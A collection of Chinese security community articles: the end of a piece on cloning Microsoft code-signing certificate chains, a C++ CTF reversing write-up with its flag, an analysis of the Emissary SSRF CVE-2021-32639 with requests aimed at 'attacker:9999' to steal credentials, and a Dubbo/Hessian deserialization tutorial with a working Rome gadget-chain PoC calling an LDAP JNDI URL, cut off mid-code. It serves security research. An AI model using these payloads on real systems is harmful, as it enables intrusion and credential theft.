那么，为什么这个条目不被信任呢？针对微软的证书，我们根据什么来判断其是否可信？答案是authroot.stl（http://unmitigatedrisk.com/?p=259），一个经过签名的ASN.1编码文件，其中包含微软认为可信的全部根证书。这就相当于在操作系统中默认安装的一组根CA。微软经常会更新此列表，增加或撤销一些证书，并且会通过[此链接](http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab)来发布更新。
事实上，我们不一定要依靠Sigcheck来执行根CA信任验证。为了更好地理解STL这一文件格式，我写了一个解析器，用于提取所有可信证书的指纹值，以便我们在PowerShell脚本中进行验证。如下图所示，我们可以看到突出显示的“恶意”克隆根CA证书：
我们也可以使用certutil.exe解析authroot.stl：
certutil
-dump authroot.stl
通过解析authroot.stl，我们可以轻松确定哪些Microsoft指定的根CA是值得信任的：
PS>
ls Cert:LocalMachineRoot | Where-Object { ($TrustedRootHashes -contains
$_.Thumbprint) -and ($_.Subject.StartsWith('CN=Microsoft Root')) }
Thumbprint
: CDD4EEAE6000AC7F40C3802C171E30148030C072
Subject : CN=Microsoft Root
Certificate Authority, DC=microsoft, DC=com
Thumbprint
: A43489159A520F0D93D032CCAF37E7FE20A8B419
Subject : CN=Microsoft Root Authority,
OU=Microsoft Corporation, OU=Copyright (c) 1997 Microsoft Corp.
Thumbprint
: 8F43288AD272F3103B6FB1428485EA3014C0BCFE
Subject : CN=Microsoft Root
Certificate Authority 2011, O=Microsoft Corporation, L=Redmond, S=Washington,
C=US
Thumbprint
: 3B1EFD3A66EA28B16697394703A72CA340A05BD5
Subject : CN=Microsoft Root
Certificate Authority 2010, O=Microsoft Corporation, L=Redmond, S=Washington,
C=US
因此，相比于“简单地查看证书发布者名称，并检查其是否链接到受信任的根目录”这种方式，我们有一种更理想的方式，来验证代码是否经过微软的签名认证，具体步骤如下：
1\. 验证二进制文件的完整性。
2\. 验证链中的每个证书是否有效。
3\.
验证根证书的指纹是否包含在authroot.stl中的可信指纹之内。在这里，还有另外一种方法可以用于验证，就是调用[CertVerifyCertificateChainPolicy函数](https://msdn.microsoft.com/en-us/library/windows/desktop/aa377163%28v=vs.85%29.aspx)，并传递CERT_CHAIN_POLICY_MICROSOFT_ROOT值。该函数实际上使用了相同的证书指纹数组，可以用于验证根证书。
在这里，还存在着一个漏洞，就是authroot.stl中的Microsoft Flight
Root证书（指纹：F8DB7E1C16F1FFD4AAAD4AAD8DFF0F2445184AEB），该证书是为微软预览版本颁发。由于该证书没有时间戳，因此我们将无法验证该证书是否在有效期外进行了签名。这可能是微软有意做出的决定。如果我们对于可信的根证书指纹不甚了解，那么缺少MSFT时间戳的证书很可能成为攻击者所选择的一个目标，用于克隆证书链。下面是一个由Microsoft
Flight Root颁发的证书签名的kernel32.dll的示例：
## 总结
希望通过本文，能让大家更好地理解攻击者如何为恶意代码进行合法签名的。然而，这并不是唯一可以利用的方法。除此之外，我还进行了关于[如何劫持Subject
Interface
Packages（SIP）](https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf)的相关研究，借助这种方法，同样可以将合法的数字签名应用于恶意代码，并能够通过完整性检查。
我们之所以进行这些研究，有两个目的：一是为了让安全人员在调查过程中能做出合理的判断，二是提醒大家对代码的签名进行正确验证的重要性。我们不应该仅根据声称的内容来认定签名的来源，而是应该深入调查其实际的来源。
最后，一些读者可能会发现，在对克隆证书链和签名的代码进行操作的过程中，可能会出现一些异常情况。我会发布另一篇博客文章来详细讨论这些异常，我们2018年见！ | 社区文章 |
# 从一题看C++逆向与机制
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近CTF出现了很多C++逆向题，偶然间看到看雪CTF的一题”半加器”，关于C++全局类对象的机制，拿来练手学习
## 定位main函数
首先用`PEID`查壳，发现是VC++系列编译器写的程序，无壳
接着运行程序，发现有用户交互`Please Input:`
于是直接在IDA中搜索字符串，根据交叉引用定位到关键代码
## 另一种方法
如果程序没有给出字符串交互，如何定位main呢？尤其是在本题去除了很多函数信息的情况下
IDA中`start`函数连续跟进后，来到这一大段代码
这时还是不知道关键代码在哪，正好我本地有visual studio，在debug下写一个x86程序，并用IDA打开，也跟进到这一处
发现有注释`Code`，于是跟进`sub_413C10`，发现main函数
同样的，本题的main函数的关键，`v4`相当于`Code`，跟进v4，发现关键函数`sub_4A2890`，也就是main函数
## 输入部分
又回到了这个`Please input:`，我这里就算重新分析，按P也会报sp错误
简单算一下`alt+k`修复，然后就可以愉快的F5了
> 我试着把retn指令直接nop掉，发现也可以F5，但是后面调试的时候会报错
这里`if ( v2 <= 30 && v2 >= 10 )`看起来像是对输入的长度进行限制，动态调试验证确实是strlen的结果
接着从`sub_4917A4`继续跟进，注意这里第二个参数是30，正好是上面字符串最大长度，一直进到`sub_54B010`
发现了一堆诡异的代码，不过可以发现`common_tcscpy_s`这样的字符串，结合动态调试，发现这就是strcpy系列的函数
也就是说，函数`sub_4917A4(dword_5FD088, 30, (int)&unk_5FD068);`是在复制输入的字符串
而`sub_490507`跟进后发现，对复制的字符串每个字符都异或了0x1F
唯一找到的要求相等是第八位必须是`A`，之后被替换为`#`
跟到这里，再后面思路就有些断了，只有对输入进行操作，验证部分呢？
## 验证部分
再次拿出IDA的交叉引用，输入字符串的引用已经全部看到了，那就对复制的字符串查找看看
又有对字符串的异或操作，`pause`字符串也提示我们，flag验证或许就在这附近，因为`system("pause")常用来防止输入后黑框一闪而过`
猜测`sub_490CD7`或许是平凡的`strcmp`，在`if(!xxx)`处下断，用IDA调试一番
得到`a1`的地址后，在内存区看到有字符串
像调试gdb一样，把返回值eax设置成0，程序输出`ok`，看来我们已经找到了验证逻辑
解题的话，依次把字符串`urj}pux<}n{iqyrh`异或`0x1CF，得到这一串`jmubojg#bqdvnfmw`
再替换第八位为`A`，即是最后的flag `jmubojgAbqdvnfmw`
> 做到这里，想用angr试着跑跑，但是有点问题，跑不出来，也没想清楚为什么
## 一些思考
到这里题目已经做完了，但是作者是如何实现的？main函数中并没有找到验证部分
看了其他人的解析，发现是在类的 **析构函数** 中，但应该是 **全局对象** ，析构函数发生在main结束之后
在《C++反汇编与逆向分析技术揭秘》中有详细的讨论
> 局部对象：作用域结束前调用析构函数
>
> 堆对象：释放堆空间前调用析构函数
>
> 参数对象：退出函数前，调用参数对象的析构函数
>
> 返回对象：如无对象引用定义，退出函数后，调用返回对象的析构函数，否则与对象引用的作用域一致
>
> **全局对象** ：main函数退出后调用析构函数
>
> **静态对象** ：main函数退出后调用析构函数
在main函数结束之后，会由`exit`函数终止程序，全局对象的析构也在其中，其中有`构造代理函数`和`析构代理函数`，后者将所有的全局对象析构，因此main函数中无法发现验证过程
此外，突然想到一个实验，看以下代码
#include<iostream>
#include<stdio.h>
using namespace std;
class test {
public:
int num;
test(int num){
this->num = num;
}
~test() {
printf("%d:printf test destructedn",this->num);
cout << "cout test destructed" << endl;
}
};
static test t1(1);
test t2(2);
int main() {
return 0;
}
由于vs2017会在main结束之后一闪而过，因此在ubuntu下编译运行
猜测这可以说明，test对象先于cout对象析构，否则将不会输出cout的一行
> 为了获得更多的信息，添加了带参数的构造函数
>
> 发现 **全局对象** 后声明，先析构，而 **静态对象** 先声明，后析构
>
> 再把声明顺序交换，输出结果正好相反
可以猜测：析构顺序和对象是全局或是静态没有必然的联系？
查资料发现， **这种现象并不是语言层面的特性，而是跟编译器的具体实现有关**
因此，如果在 **全局对象** 或者 **静态对象** 析构时，用printf代替cout进行输出
实际场景可能并不多，某些时候debug时可能会用到输出，也算是C++的一个小坑吧
[@vct](https://github.com/vct "@vct")师傅友情赞助 | 社区文章 |
#### 简介
NSA的项目 Emissary 中文"密使".
地址是 <https://github.com/NationalSecurityAgency/emissary>
Emissary是一个基于P2P的数据驱动工作流引擎，运行在异构的、可能广泛分散的、多层的P2P计算资源网络中。
工作流行程不像传统的工作流引擎那样预先计划，而是随着数据的更多信息被发现而被确定(发现)。在Emissary工作流中通常没有用户交互，而是以面向目标的方式处理数据，直到它达到完成状态。
Emissary 是高度可配置的，但在这个"基本实现"(base implementation)中几乎什么都不做。
这个框架的用户应提供扩展`emissary.place.ServiceProviderPlace` 的类，以在
`emissary.core.IBaseDataObject` 有效负载上执行工作。
可以做各种各样的事情，工作流是分阶段管理的，例如:STUDY, ID, COORDINATE, TRANSFORM, ANALYZE, IO,
REVIEW.
`emissary.core.MobileAgent`是负责指挥工作流的类、和从它派生的类，它们管理一组相关的负载对象的路径通过工作流。
通过工作流管理一组相关的"负载对象"(payload objects)的路径。
`emissary.directory.DirectoryPlace` 管理可用的"服务"(services)、它们的成本和质量，并保持 P2P
网络的连接。
参考<https://securitylab.github.com/research/NSA-emissary/>
#### SSRF漏洞(CVE-2021-32639) - 触发点 1
影响RegisterPeerActionREST 端点。
例如，以下请求将导致多个请求发送到攻击者控制的服务器 `http://attacker:9999`
POST /emissary/RegisterPeer.action? HTTP/1.1
Host: localhost:8001
Content-Type: application/x-www-form-urlencoded
directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace
需要注意的重要一点是，一些伪造的请求是未经身份验证的（不带凭证的）, 发送到`/emissary/Heartbeat.action`端点的请求。
POST /emissary/Heartbeat.action HTTP/1.1
Content-Length: 180
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate
hbf=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace&hbt=http%3A%2F%2Fattacker:9999%2FDirectoryPlace
但是，也有经过身份验证的请求发送到`/emissary/RegisterPeer.action`这个endpoint上。
可发HTTP请求到攻击者控制的服务器上:
见targetDir参数的值.
POST /emissary/RegisterPeer.action HTTP/1.1
Content-Length: 196
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate
targetDir=http%3A%2F%2Fattacker:9999%2FDirectoryPlace&directoryName=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace
SSRF问题通常用于访问内部服务器或扫描内网，但在本例中，我想到了一个不同寻常的漏洞利用场景。由于SSRF问题之一是：导致Emissary使用的Apache
HTTP客户端发送带有"摘要身份验证头"(a digest authentication
header)的1个经过身份验证的请求，因此从理论上讲，我可以诱使客户端切换到"基本身份验证"(basic
authentication)，从而泄漏服务器凭证。
要使用 Apache HTTP 客户端发送经过身份验证的HTTP请求，需要在"凭据提供程序"(credentials provider)上设置凭据，然后配置
HTTP 客户端以使用该"凭据提供程序":
参考代码
<https://github.com/NationalSecurityAgency/emissary/blob/79ca5608c4f77d9a5c8a4996e204377c158a6976/src/main/java/emissary/client/EmissaryClient.java#L107>
您可以看到凭据从Jetty"用户领域"(user
realm)读取，并用于连接到需要凭据的任何host和port。这些凭据在凭据提供者(`CRED_PROV`)中设置，该"凭据提供程序"(credential
provider)稍后被配置为主Emissary客户端(`CLIENT`)的默认凭据提供程序。
配置没有指定应该使用什么身份验证方案，这使我相信身份验证方案是根据服务器response决定的。如果我礼貌地要求客户端使用"基本身份验证"(basic
authentication)，那么所有迹象都表明，服务器凭证将以明文(base64 encoded)形式发送。
我建立了一个请求基本身份验证的 Web 服务器，然后利用SSRF使Emissary服务器连接到我的恶意服务器。Emissary HTTP
客户端愉快地从"摘要身份验证"(digest
authentication)切换到了基本身份验证，并将凭据发送给我。这是我的服务器的输出，显示了Emissary服务器凭据：
#### SSRF漏洞(CVE-2021-32639) - 触发点 1
参考
<https://github.com/NationalSecurityAgency/emissary/blob/30c54ef16c6eb6ed09604a929939fb9f66868382/src/main/java/emissary/server/mvc/internal/AddChildDirectoryAction.java>
类似地，`AddChildDirectoryAction`端点也容易受到SSRF的攻击。对`/AddChildDirectory.action`端点的POST请求，会发出额外请求，到攻击者控制的主机：
POST /emissary/AddChildDirectory.action HTTP/1.1
Host: localhost:8001
x-requested-by:
Content-Type: application/x-www-form-urlencoded
directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace
#### 漏洞分析
参考
<https://github.com/NationalSecurityAgency/emissary/blob/30c54ef16c6eb6ed09604a929939fb9f66868382/src/main/java/emissary/server/mvc/internal/RegisterPeerAction.java#L53>
line 40 处理POST请求。
@POST
@Path("/RegisterPeer.action")
@Consumes(MediaType.APPLICATION_FORM_URLENCODED)
@Produces(MediaType.APPLICATION_XML)
public Response registerPeerPost(@FormParam(DIRECTORY_NAME) String directoryName, @FormParam(TARGET_DIRECTORY) String targetDirectory) {
if (StringUtils.isBlank(directoryName) || StringUtils.isBlank(targetDirectory)) {
return Response.serverError()
.entity("Bad Params: " + DIRECTORY_NAME + " - " + directoryName + ", " + TARGET_DIRECTORY + " - " + targetDirectory).build();
}
return processRegisterPeer(directoryName, targetDirectory);
}
传入实参`targetDirectory`到`processRegisterPeer`方法。
跟进`processRegisterPeer`方法，看参数`dirName`
private Response processRegisterPeer(String peerKey, String dirName) {
final IRemoteDirectory dir = new IRemoteDirectory.Lookup().getLocalDirectory(dirName);
查看`IRemoteDirectory`类，及方法`getLocalDirectory`的实现。
<https://github.com/NationalSecurityAgency/emissary/blob/30c54ef16c6eb6ed09604a929939fb9f66868382/src/main/java/emissary/directory/IRemoteDirectory.java#L79>
即
public IRemoteDirectory getLocalDirectory(final String name) {
IDirectoryPlace dir = null;
try {
if (name != null) {
dir = (IDirectoryPlace) Namespace.lookup(name);
} else {
dir = DirectoryPlace.lookup();
}
} catch (emissary.core.EmissaryException ex) {
this.logger.debug("Could not find local directory " + name);
}
...
line 83 执行了`.lookup(name);`
跟进可知会发出http请求。
#### 修复与总结
除了修复SSRF问题之外。
NSA还通过 **仅允许** 使用"摘要身份验证方案"(digest
authentication)，来防止身份验证方法"混淆"(confusion)。见<https://github.com/NationalSecurityAgency/emissary/commit/79ca5608c4f77d9a5c8a4996e204377c158a6976#diff-c988041bf4d686dbcce23218e54188558f0116513ff30d161d958482a7c5f1c4>
这样一来，即便还有SSRF，也无法泄露凭证了。 | 社区文章 |
# Java安全之Dubbo反序列化漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
最近天气冷，懒癌又犯了，加上各种项目使得本篇文断断续续。
## 0x01 Dubbo
### 概述
Dubbo是阿里巴巴开源的基于 Java 的高性能 RPC（一种远程调用）
分布式服务框架（SOA），致力于提供高性能和透明化的RPC远程服务调用方案，以及SOA服务治理方案。dubbo
支持多种序列化方式并且序列化是和协议相对应的。比如：Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、redis等多种协议。
### 运行机制
Dubbo框架启动，容器Container一启动，服务提供者Provider会将提供的服务信息注册到注册中心Registry，注册中心就知道有哪些服务上线了；当服务消费者Consumer启动，它会从注册中心订阅subscribe所需要的服务。
若某个服务提供者变更，比如某个机器下线宕机，注册中心基于长连接的方式将变更信息通知给消费者。
消费者可以调用服务提供者的服务，同时会根据负载均衡算法选择服务来调用。
每次的调用信息、服务信息等会定时统计发送给监控中心Monitor，监控中心能够监控服务的运行状态。
以上图片是官方提供的一个运行流程图
节点 | 角色说明
---|---
Provider | 暴露服务的服务提供方
Consumer | 调用远程服务的服务消费方
Registry | 服务注册与发现的注册中心
Monitor | 统计服务的调用次数和调用时间的监控中心
Container | 服务运行容器
1. 服务容器负责启动，加载，运行服务提供者。
2. 服务提供者在启动时，向注册中心注册自己提供的服务。
3. 服务消费者在启动时，向注册中心订阅自己所需的服务。
4. 注册中心返回服务提供者地址列表给消费者，如果有变更，注册中心将基于长连接推送变更数据给消费者。
5. 服务消费者，从提供者地址列表中，基于软负载均衡算法，选一台提供者进行调用，如果调用失败，再选另一台调用。
6. 服务消费者和提供者，在内存中累计调用次数和调用时间，定时每分钟发送一次统计数据到监控中心。
在使用Dubbo前，需要搭建一个注册中心，官方推荐使用Zookeeper。
### 使用
下载解压[zookeeper](https://apache.website-solution.net/zookeeper/zookeeper-3.6.2/apache-zookeeper-3.6.2-bin.tar.gz)，将里面的`zoo_sample.cfg`内容，复制到`zoo.cfg`文件中。
tickTime=2000
initLimit=10
syncLimit=5
dataDir=D:\漏洞调试\zookeeper-3.3.3\zookeeper-3.3.3\conf\data
clientPort=2181
Zookeeper端口默认是2181，可修改进行配置端口。
修改完成后，运行`zkServer.bat`即可启动Zookeeper。
[dubbo文档](https://dubbo.apache.org/zh/docs/languages/java/java-specific/)
**注册服务**
定义服务接口`DemoService`
package org.apache.dubbo.samples.basic.api;
public interface DemoService {
String sayHello(String name);
}
定义接口的实现类`DemoServiceImpl`
public class DemoServiceImpl implements DemoService {
@Override
public String sayHello(String name) {
System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name +
", request from consumer: " + RpcContext.getContext().getRemoteAddress());
return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress();
}
}
用 Spring 配置声明暴露服务
<bean id="demoService" class="org.apache.dubbo.samples.basic.impl.DemoServiceImpl"/>
<dubbo:service interface="org.apache.dubbo.samples.basic.api.DemoService" ref="demoService"/>
使用注解配置声明暴露服务，在`application.properites`中配置
dubbo.scan.base-packages=org.apache.dubbo.samples
然后在对应接口使用`[@Component](https://github.com/Component
"@Component")`或`[@Service](https://github.com/Service "@Service")`注解进行注册
#### 引用远程服务
consumer.xml
<dubbo:reference id="demoService" check="true" interface="org.apache.dubbo.samples.basic.api.DemoService"/>
public class HttpConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
context.start();
DemoService demoService = (DemoService) context.getBean("demoService");
String result = demoService.sayHello("world");
System.out.println(result);
}
}
### 配置
配置协议：
<dubbo:protocol name="dubbo" port="20880" />
设置服务默认协议：
<dubbo:provider protocol="dubbo" />
设置服务协议：
<dubbo:service protocol="dubbo" />
多端口：
<dubbo:protocol id="dubbo1" name="dubbo" port="20880" />
<dubbo:protocol id="dubbo2" name="dubbo" port="20881" />
发布服务使用hessian协议：
<dubbo:service protocol="hessian"/>
引用服务
<dubbo:reference protocol="hessian"/>
## 0x02 Hessian
### Hessian概述
hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化，而是阿里修改过的 hessian
lite，Hessian是二进制的web service协议，官方对Java、Flash/Flex、Python、C++、.NET
C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web
service方式的远程方法调用，区别是Hessian是二进制协议，Axis、XFire则是SOAP协议，所以从性能上说Hessian远优于后两者，并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象，集合了序列化/反序列化和RMI功能。
### 使用
**序列化**
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class test {
public static void main(String[] args) throws IOException {
Person o=new Person();
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(o);
output.close();
System.out.println(os.toString());
}
}
#### 反序列化
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class test {
public static void main(String[] args) throws IOException {
Person p=new Person();
p.setAge(22);
p.setName("nice0e3");
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(p);
output.close();
System.out.println("---------------------------------");
//反序列化
ByteArrayInputStream is = new ByteArrayInputStream(os.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(is);
Object person = hessian2Input.readObject();
System.out.println(person.toString());
}
}
## 0x03 Hessian利用链
在marshalsec工具中，提供了Hessian的几条利用链
* Rome
* XBean
* Resin
* SpringPartiallyComparableAdvisorHolder
* SpringAbstractBeanFactoryPointcutAdvisor
### Rome
该链需要以下依赖
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
**构造分析**
public interface Rome extends Gadget {
@Primary
@Args ( minArgs = 1, args = {
"jndiUrl"
}, defaultArgs = {
MarshallerBase.defaultJNDIUrl
} )
default Object makeRome ( UtilFactory uf, String[] args ) throws Exception {
return makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ]));
}
default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception {
ToStringBean item = new ToStringBean(type, obj);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
return uf.makeHashCodeTrigger(root);
}
}
在`JDKUtil.makeJNDIRowSet(args[ 0 ])`进行跟进，`arg[0]`位置为传递的ldap地址。
public static JdbcRowSetImpl makeJNDIRowSet ( String jndiUrl ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}
创建`JdbcRowSetImpl`实例，调用`setDataSourceName`方法对实例的`dataSource`值赋值为传递进来的`jndiurl`变量,随后调用`setMatchColumn`方法，将`JdbcRowSetImpl`实例的`strMatchColumns`成员变量设置为`foo`,最后将`JdbcRowSetImpl`实例的`listeners`变量设置为空，该变量位于父类`javax.sql.rowset.BaseRowSet`中。
下面走到`makeROMEAllPropertyTrigger`方法中
default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception {
ToStringBean item = new ToStringBean(type, obj);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
return uf.makeHashCodeTrigger(root);
}
实例化`ToStringBean`对象，将type(这里为`JdbcRowSetImpl.class`)和`JdbcRowSetImpl`实例传递到构造方法中,下面实例化`EqualsBean`对象将`ToStringBean.class`和`ToStringBean`的实例化对象进行传递。获取到名为root的实例化对象。接着调用`uf.makeHashCodeTrigger(root)`,该位置进行跟进。
default Object makeHashCodeTrigger ( Object o1 ) throws Exception {
return JDKUtil.makeMap(o1, o1);
}
该位置传递2个同样的对象到`makeMap`方法中调用
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
实例化HashMap将长度设置为2，反射获取`java.util.HashMap$Node`或`java.util.HashMap$Entry`,实例化一个对象并且设置长度为2，并且第一个数据插入值为`java.util.HashMap$Node`的实例化对象，该对象在实例化的时候传递4个值，第一个值为0，第二和三个值为刚刚获取并传递进来的`EqualsBean`实例化对象，第四个为null。
插入的第二个数据也是如此。
走到下面则反射设置s这个hashmap中table的值为tbl，tbl为反射创建的`java.util.HashMap$Node`对象。
简化后的代码如下
//反序列化时ToStringBean.toString()会被调用，触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://localhost:1389/obj";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
//反序列化时EqualsBean.beanHashCode会被调用，触发ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);
//反序列化时HashMap.hash会被调用，触发EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);
//HashMap.put->HashMap.putVal->HashMap.hash
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
**利用分析**
**poc**
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import marshalsec.gadgets.JDKUtil;
import marshalsec.util.Reflections;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectInput;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.sql.SQLException;
import java.util.HashMap;
public class remotest {
public static void main(String[] args) throws Exception {
//反序列化时ToStringBean.toString()会被调用，触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://127.0.0.1:1389/obj";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
//反序列化时EqualsBean.beanHashCode会被调用，触发ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
//反序列化时HashMap.hash会被调用，触发EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);
//HashMap.put->HashMap.putVal->HashMap.hash
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream);
hessian2Output.writeObject(s);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(new String(bytes, 0, bytes.length));
// hessian2的反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
// makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ]));
}
}
到此不得不提到`Hessian`的反序列化反序列化机制，在反序列化过程或获取一个需要序列化对象的对应的反序列化器,如现在这里的`MapDeserializer`。感觉这个和Xstream的反序列化机制有点类似。反序列化机制在此不细表，后面再去跟踪该反序列化机制
public Object readMap(AbstractHessianInput in) throws IOException {
Object map;
if (this._type == null) {
map = new HashMap();
} else if (this._type.equals(Map.class)) {
map = new HashMap();
} else if (this._type.equals(SortedMap.class)) {
map = new TreeMap();
} else {
try {
map = (Map)this._ctor.newInstance();
} catch (Exception var4) {
throw new IOExceptionWrapper(var4);
}
}
in.addRef(map);
while(!in.isEnd()) {
((Map)map).put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
`((Map)map).put(in.readObject(), in.readObject());`跟踪该位置
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
这里获取到的key和value的值都为`EqualsBean`实例化对象。
该位置去调用hash方法去计算hashcode的值
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
`com.rometools.rome.feed.impl.EqualsBean#hashcode`
public int hashCode() {
return this.beanHashCode();
}
这里的hashcode是调用`beanHashCode`方法
public int beanHashCode() {
return this.obj.toString().hashCode();
}
public String toString() {
Stack<String[]> stack = (Stack)PREFIX_TL.get();
boolean needStackCleanup = false;
if (stack == null) {
stack = new Stack();
PREFIX_TL.set(stack);
needStackCleanup = true;
}
String[] tsInfo;
if (stack.isEmpty()) {
tsInfo = null;
} else {
tsInfo = (String[])stack.peek();
}
String prefix;
String result;
if (tsInfo == null) {
result = this.obj.getClass().getName();
prefix = result.substring(result.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
result = this.toString(prefix);
if (needStackCleanup) {
PREFIX_TL.remove();
}
return result;
}
调用this.toString
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
Iterator var10 = propertyDescriptors.iterator();
while(var10.hasNext()) {
PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();
String propertyName = propertyDescriptor.getName();
Method getter = propertyDescriptor.getReadMethod();
Object value = getter.invoke(this.obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + propertyName, value);
...
反射调用this.obj的`getDatabaseMetaData`方法
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
